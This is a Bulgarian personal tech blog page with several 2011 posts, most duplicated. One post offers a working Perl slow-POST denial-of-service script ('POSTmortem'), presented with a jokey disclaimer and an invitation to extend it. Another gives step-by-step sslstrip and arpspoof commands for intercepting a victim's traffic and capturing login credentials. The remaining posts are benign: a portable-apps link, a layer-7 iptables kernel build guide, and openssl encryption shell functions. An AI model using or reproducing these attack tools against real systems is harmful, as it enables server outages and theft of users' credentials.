http://portablelinuxapps.org/
Преди броени минути открих сайт който предлага пакетирани множество linux приложения заедно с всички техни депендънсита. За непросветените това ги прави portable. Местим си ги където искаме и те работят по един и същи начин ... край на кавките между библиотеките!
Просто като идея ...
TinyCore =10MB
няколко необходими приложения ~ 100MB
всичко това опаковано =priceless :)
четвъртък, 21 април 2011 г.
POSTmortem
След като чух за атаката slowloris и в последствие за вариация при която се атакува пост заявката (което носи IIS bonus).
Започнах да издирвам начин за практическа проверка на атаката. Това доведе до откриването на rudy (R-U-Dead-Yet) който обаче се оказа твърде бъгъв и зле написан за да доведе до реални резултати.
За радост обаче аз не мога да пиша на perl което задължително означаваше, че ще опитам. Резултата е POSTmortem.
Употребата на всичко в поста и целия блог а и целия свят си е на ваша отговорност! Ако това ще ви накара да си мислите по-хубави неща за мен ... е тогава публикацията е от чисто научен характер и няма за цел да събори някой сървър.
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use threads;
my $host = "хоста за тест";
my $port = 80;
my $tcpto = 5;
my $post = "action скрипта който обработва пост заявката";
my $sock;
my $attack_param = "пост параметъра който ще тестваме";
my $a = 0;
my $i = 1;
my $num = 2; #брой нишки и съответно конекции (всяка яде по 1М рам)
my @thrs;
while ( $i < $num ) {
print "Spawning thread: $i\n";
$thrs[$i] = threads->create( \&conn);
sleep 18; #интервал между събуждането на нова нишка
$i++;
}
print "waiting for threads to finish";
map {my $k = $_->join} threads->list;
sub conn {
my $primarypayload =
"POST /$post HTTP/1.1\r\n"
. "Host: $host\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 100000000\r\n" #колкото повече толкова повече
. "Connection: keep-alive\r\n"
. "Cookie: ако се налага(формата е: нещо=нещо; нещо2=нещо–друго)\r\n"
. "\r\n"
. "$attack_param=\r\n";
if (
$sock = new IO::Socket::INET(
# LocalAddr => "$laddr",
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
print $sock "$primarypayload";
print "[-]Header Send!\n";
}
else {
print "[*]Error - Cannot create socket!\n";
}
while(1) {
sleep 10; #през колко време ще му пращаме по капка
print $sock "x"; #капката
}
}
EOF
TODO
ако на някой му се занимава може да го направи да приема опциите от командния ред за да не се рови из кода и да напише всяка нишка да буди по повече от 1 конекция.
Започнах да издирвам начин за практическа проверка на атаката. Това доведе до откриването на rudy (R-U-Dead-Yet) който обаче се оказа твърде бъгъв и зле написан за да доведе до реални резултати.
За радост обаче аз не мога да пиша на perl което задължително означаваше, че ще опитам. Резултата е POSTmortem.
Употребата на всичко в поста и целия блог а и целия свят си е на ваша отговорност! Ако това ще ви накара да си мислите по-хубави неща за мен ... е тогава публикацията е от чисто научен характер и няма за цел да събори някой сървър.
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use threads;
my $host = "хоста за тест";
my $port = 80;
my $tcpto = 5;
my $post = "action скрипта който обработва пост заявката";
my $sock;
my $attack_param = "пост параметъра който ще тестваме";
my $a = 0;
my $i = 1;
my $num = 2; #брой нишки и съответно конекции (всяка яде по 1М рам)
my @thrs;
while ( $i < $num ) {
print "Spawning thread: $i\n";
$thrs[$i] = threads->create( \&conn);
sleep 18; #интервал между събуждането на нова нишка
$i++;
}
print "waiting for threads to finish";
map {my $k = $_->join} threads->list;
sub conn {
my $primarypayload =
"POST /$post HTTP/1.1\r\n"
. "Host: $host\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 100000000\r\n" #колкото повече толкова повече
. "Connection: keep-alive\r\n"
. "Cookie: ако се налага(формата е: нещо=нещо; нещо2=нещо–друго)\r\n"
. "\r\n"
. "$attack_param=\r\n";
if (
$sock = new IO::Socket::INET(
# LocalAddr => "$laddr",
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
print $sock "$primarypayload";
print "[-]Header Send!\n";
}
else {
print "[*]Error - Cannot create socket!\n";
}
while(1) {
sleep 10; #през колко време ще му пращаме по капка
print $sock "x"; #капката
}
}
EOF
TODO
ако на някой му се занимава може да го направи да приема опциите от командния ред за да не се рови из кода и да напише всяка нишка да буди по повече от 1 конекция.
sslstrip
Всичко написано в този пост се ползва на собствена отговорност и никой освен Вас няма да е виновен ако си счупите главата!(и като стана дума, това важи за информацията в целия блог)
Този пост е вдъхновен от пост на колегата Singu в http://chzv.net.
По-точно този пост http://chzv.net/security/sslstrip-over-wifi
Тук ще си говорим за по-различен случай при който дали атаката е върху wifi или не няма значение.
Целта е да се хваща стрипнат от ssl криптация поток от информация.
Ето упътване стъпка по стъпка:
1. Сваляме и разпакетираме инструмента - sslstrip:
# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
# tar zxvf sslstrip-0.7.tar.gz
Тук е момента да се чувствате като дете което отваря коледен подарък :)
2. Настройки на системата, рутиране и sslstrip
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# python sslstrip.py -f -w sslcreds-captured
пренасочваме целят идващ трафик на порт 80 към порт 10000 (дефолтния порт за sslstrip и пускаме sslstrip да записва каквото си е намерил във файла sslcreds-captured
3. Време за отрова
# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254
където 192.168.0.141 е жертвата а 192.168.0.254 - gateway-ят
4. Чакаме
5. Четем файла sslcreds-captured
Какво ли има там ?!
Този пост е вдъхновен от пост на колегата Singu в http://chzv.net.
По-точно този пост http://chzv.net/security/sslstrip-over-wifi
Тук ще си говорим за по-различен случай при който дали атаката е върху wifi или не няма значение.
Целта е да се хваща стрипнат от ssl криптация поток от информация.
Ето упътване стъпка по стъпка:
1. Сваляме и разпакетираме инструмента - sslstrip:
# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
# tar zxvf sslstrip-0.7.tar.gz
Тук е момента да се чувствате като дете което отваря коледен подарък :)
2. Настройки на системата, рутиране и sslstrip
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# python sslstrip.py -f -w sslcreds-captured
пренасочваме целят идващ трафик на порт 80 към порт 10000 (дефолтния порт за sslstrip и пускаме sslstrip да записва каквото си е намерил във файла sslcreds-captured
3. Време за отрова
# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254
където 192.168.0.141 е жертвата а 192.168.0.254 - gateway-ят
4. Чакаме
5. Четем файла sslcreds-captured
Какво ли има там ?!
iptables l7 в debian
Това е туториъл който намерих оригинално на
http://ogordo.com/instalacao-do-layer7-no-debian/
Там е на някакъв език който аз определям като испански но не мога да съм сигурен. Прекарах го през google translate и не съм много сигурен колко успешен е превода но аз лично тествах командите които е изпълнявал автора и мога да кажа че довеждат до работеща система с layer 7 подръжка. Като бонус получаваме дебиански пакет :)
Забележка: Авторите на iptables предупреждават че той съвсем не е направен за такъв тип филтрирания. Така че ... знаете си всичко е на ваша отговорност :)
Implementing layer7 Linux Debian Lenny with kernel 2.6.28 and iptables 1.4.2. After several attempts to recompile the kernel on Debian Lenny layer7 to implement and suffer a lot with the famous message "kernel panic, I managed to recompile it in accordance with the commands below.
Installing needed packages:
# aptitude install libncurses5-dev
# aptitude install kernel-package
# aptitude install zlib1g-dev
Enter the source directory and download files.
# cd / usr / src
# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.bz2
# wget http://www.netfilter.org/projects/iptables/files/iptables-1.4.2.tar.bz2
# wget http://downloads.sourceforge.net/l7-filter/netfilter-layer7-v2.21.tar.gz
# wget http://downloads.sourceforge.net/l7-filter/l7-protocols-2008-04-23.tar.gz
# wget http://merkel.debian.org/~jurij/2.6.28-1/i386/config-2.6.28-1-686.gz
Removing iptables:
# aptitude purge iptables
Unpacking the packages:
# tar jxvf linux-2.6.28.tar.bz2
# tar jxvf iptables-1.4.2.tar.bz2
# tar zxvf netfilter-layer7-v2.21.tar.gz
# tar zxvf l7-protocols-2008-04-23.tar.gz
# uncompress config-2.6.28-1-686.gz
Creating a link to the kernel directory:
# ln -s /usr/src/linux-2.6.28 /usr/src/linux
Copying the boot settings and applying patches to the kernel layer7:
# cd /usr/src/linux
# cp ../config-2.6.28-1-686 .config
# patch -p1 < ../netfilter-layer7-v2.21/kernel-2.6.25-2.6.28-layer7-2.21.patch
Compiling and installing kernel
# make oldconfig
(Enter for all questions)
# Make menuconfig
Enter the directory Networking -> Networking Options -> Network Packet Filtering framework (netfilter) -> Core Netfilter Configuration
Select the modules (M) layer7 match and support (M) string match support
(M) layer7 match support #MARK AS MODULE
(M) string match support #MARK AS MODULE
Exit through the exit, the last screen, choose save to the. Config, ie, the last exit you will be prompted to save. Now it's simple, just compile.
# make-kpkg -initrd kernel_image
It was created a linux-image-file-2.6.28_2.6.28 10.00.Custom_i386.deb in / usr / src directory and install again.
# cd /usr/src
# dpkg -i linux-image-2.6.28_2.6.28-10.00.Custom_i386.deb
Pronto, the new kernel is already installed.
Applying the patches and installing iptables
Type:
# cd /usr/src/iptables-1.4.2
Copy the files to the directory libxt_layer7.c libxt_layer7.man iptables:
# cp ../netfilter-layer7-v2.21/iptables-1.4.1.1-for-kernel-2.6.20forward/* extensions/
Installing iptables:
# ./configure –with-ksource=/usr/src/linux
# make
# make install
# cd /usr/src/l7-protocols-2008-04-23
# make install
Okay, just reboot and use!
# reboot
If by chance Debian does not automatically load the module, run the following command:
# modprobe ipt_layer7
Some rules:
iptables-A FORWARD-m-layer7 l7proto MSNMessenger-j DROP
iptables-A FORWARD-m-layer7 l7proto bittorrent-j DROP
http://ogordo.com/instalacao-do-layer7-no-debian/
Там е на някакъв език който аз определям като испански но не мога да съм сигурен. Прекарах го през google translate и не съм много сигурен колко успешен е превода но аз лично тествах командите които е изпълнявал автора и мога да кажа че довеждат до работеща система с layer 7 подръжка. Като бонус получаваме дебиански пакет :)
Забележка: Авторите на iptables предупреждават че той съвсем не е направен за такъв тип филтрирания. Така че ... знаете си всичко е на ваша отговорност :)
Implementing layer7 Linux Debian Lenny with kernel 2.6.28 and iptables 1.4.2. After several attempts to recompile the kernel on Debian Lenny layer7 to implement and suffer a lot with the famous message "kernel panic, I managed to recompile it in accordance with the commands below.
Installing needed packages:
# aptitude install libncurses5-dev
# aptitude install kernel-package
# aptitude install zlib1g-dev
Enter the source directory and download files.
# cd / usr / src
# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.bz2
# wget http://www.netfilter.org/projects/iptables/files/iptables-1.4.2.tar.bz2
# wget http://downloads.sourceforge.net/l7-filter/netfilter-layer7-v2.21.tar.gz
# wget http://downloads.sourceforge.net/l7-filter/l7-protocols-2008-04-23.tar.gz
# wget http://merkel.debian.org/~jurij/2.6.28-1/i386/config-2.6.28-1-686.gz
Removing iptables:
# aptitude purge iptables
Unpacking the packages:
# tar jxvf linux-2.6.28.tar.bz2
# tar jxvf iptables-1.4.2.tar.bz2
# tar zxvf netfilter-layer7-v2.21.tar.gz
# tar zxvf l7-protocols-2008-04-23.tar.gz
# uncompress config-2.6.28-1-686.gz
Creating a link to the kernel directory:
# ln -s /usr/src/linux-2.6.28 /usr/src/linux
Copying the boot settings and applying patches to the kernel layer7:
# cd /usr/src/linux
# cp ../config-2.6.28-1-686 .config
# patch -p1 < ../netfilter-layer7-v2.21/kernel-2.6.25-2.6.28-layer7-2.21.patch
Compiling and installing kernel
# make oldconfig
(Enter for all questions)
# Make menuconfig
Enter the directory Networking -> Networking Options -> Network Packet Filtering framework (netfilter) -> Core Netfilter Configuration
Select the modules (M) layer7 match and support (M) string match support
(M) layer7 match support #MARK AS MODULE
(M) string match support #MARK AS MODULE
Exit through the exit, the last screen, choose save to the. Config, ie, the last exit you will be prompted to save. Now it's simple, just compile.
# make-kpkg -initrd kernel_image
It was created a linux-image-file-2.6.28_2.6.28 10.00.Custom_i386.deb in / usr / src directory and install again.
# cd /usr/src
# dpkg -i linux-image-2.6.28_2.6.28-10.00.Custom_i386.deb
Pronto, the new kernel is already installed.
Applying the patches and installing iptables
Type:
# cd /usr/src/iptables-1.4.2
Copy the files to the directory libxt_layer7.c libxt_layer7.man iptables:
# cp ../netfilter-layer7-v2.21/iptables-1.4.1.1-for-kernel-2.6.20forward/* extensions/
Installing iptables:
# ./configure –with-ksource=/usr/src/linux
# make
# make install
# cd /usr/src/l7-protocols-2008-04-23
# make install
Okay, just reboot and use!
# reboot
If by chance Debian does not automatically load the module, run the following command:
# modprobe ipt_layer7
Some rules:
iptables-A FORWARD-m-layer7 l7proto MSNMessenger-j DROP
iptables-A FORWARD-m-layer7 l7proto bittorrent-j DROP
вторник, 19 април 2011 г.
Криптиране от команден (bash скрипт) ред в Linux
наскоро ми трябваше сигурен начин да криприрам информацията с която един bash скрип работи. Това което намерих са следните функции:
function encrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -salt -in "$1" -out "$1.enc"
else
openssl aes-256-cbc -a -salt
fi
}
function decrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -d -in "$1" -out "${1%\.enc}" else
openssl aes-256-cbc -a -d
fi
}
разбира се може да се ползват и други алгоритми не само aes-256-cbc
ако поставим горните редове в .bashrc ще имаме възможност да изпълняваме команди от типа на:
за криптиране на архив
tar -czf - *|encrypt > allfiles.tgz.enc
за декриптиране
decrypt allfiles.tgz.enc
за декриптиране и разархивиране
cat allfiles.tgz.enc|dectypt|tar -xzf -
function encrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -salt -in "$1" -out "$1.enc"
else
openssl aes-256-cbc -a -salt
fi
}
function decrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -d -in "$1" -out "${1%\.enc}" else
openssl aes-256-cbc -a -d
fi
}
разбира се може да се ползват и други алгоритми не само aes-256-cbc
ако поставим горните редове в .bashrc ще имаме възможност да изпълняваме команди от типа на:
за криптиране на архив
tar -czf - *|encrypt > allfiles.tgz.enc
за декриптиране
decrypt allfiles.tgz.enc
за декриптиране и разархивиране
cat allfiles.tgz.enc|dectypt|tar -xzf -
Абонамент за:
Публикации (Atom)